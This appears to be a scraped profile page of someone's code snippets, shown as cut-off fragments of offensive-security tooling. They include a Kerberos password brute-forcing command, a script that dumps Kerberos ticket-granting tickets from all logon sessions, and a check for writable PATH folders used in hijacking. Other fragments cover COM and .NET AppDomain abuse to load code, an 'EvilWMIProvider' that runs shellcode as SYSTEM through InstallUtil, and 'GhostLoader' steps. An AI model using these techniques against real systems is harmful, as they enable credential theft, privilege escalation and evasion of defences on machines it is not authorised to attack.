NotMedic

Running Hashcat on Google Cloud's GPU-based VMs

In February 2017, Google announced the availability GPU-based VMs. I spun up a few of these instances, and ran some benchmarks. Along the way, I wrote down the steps taken to provision these VM instances, and install relevant drivers.

Update April 2019: Updated instructions to use instances with the Tesla T4 GPUs.

NotMedic

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

NotMedic

[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW([MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs);
 
public static string[] CommandLineToArgs(string commandLine)
{
    int argc;
    var argv = CommandLineToArgvW(commandLine, out argc);
    if (argv == IntPtr.Zero)
        throw new System.ComponentModel.Win32Exception();
    try

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new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Windows\\System32\\Tasks';
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = "mydll, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = "MyAppDomainManager";
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';


var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"> <dependency><dependentAssembly>        <assemblyIdentity name="tasks" version="0.0.0.0"/>      </dependentAssembly> </dependency>	<assemblyIdentity name="tasks" type="win32" version="0.0.0.0" /><description>Built with love by Casey Smith @subTee </description><clrClass   name="MyDLL.Operations"   clsid="{31D2B969-7608-426E-9D8E-A09FC9A5ACDC}"   progid="MyDLL.Operations"   ru

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If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
    Write-Warning "This script will not function with administrative privileges. Please run as a normal user."
    Break
}

$outfile = "acltestfile"
set-variable -name paths -value (Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment' -Name PATH).path.Split(";")
Foreach ($path in $paths) {
    # This prints a table of ACLs
    # get-acl $path | %{ $_.Access  } | ft -Wrap -AutoSize -property IdentityReference, AccessControlType, FileSystemRights

NotMedic

/*

================================ Compile as a .Net DLL ==============================
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs

*/

using System.Windows.Forms;

namespace TestNamespace

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function Get-KerberosTicketGrantingTicket
{
    <#
    .SYNOPSIS

    Gets the Kerberos Tickets Granting Tickets from all Logon Sessions

    .DESCRIPTION

    Get-KerberosTicketGrantingTicket uses the Local Security Authority (LSA) functions to enumerate Kerberos logon sessions and return their associate Kerberos Ticket Granting Tickets.

NotMedic

// Based On LocalAdmin WMI Provider by Roger Zander
// http://myitforum.com/cs2/blogs/rzander/archive/2008/08/12/how-to-create-a-wmiprovider-with-c.aspx
// Adapted For Evil By @subTee
// Executes x64 ShellCode
// 
// Deliver and Install dll
// C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /i EvilWMIProvider.dll
// Invoke calc for SYSTEM level calculations
// Invoke-WmiMethod -Class Win32_Evil -Name ExecShellCalcCode
// Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Evil -Name ExecShellCode -ArgumentList @(0x90,0x90,0x90), $null

NotMedic

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace EtwpTest
{
    class Program
    {
        static void Main(string[] args)
        {

NotMedic

GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe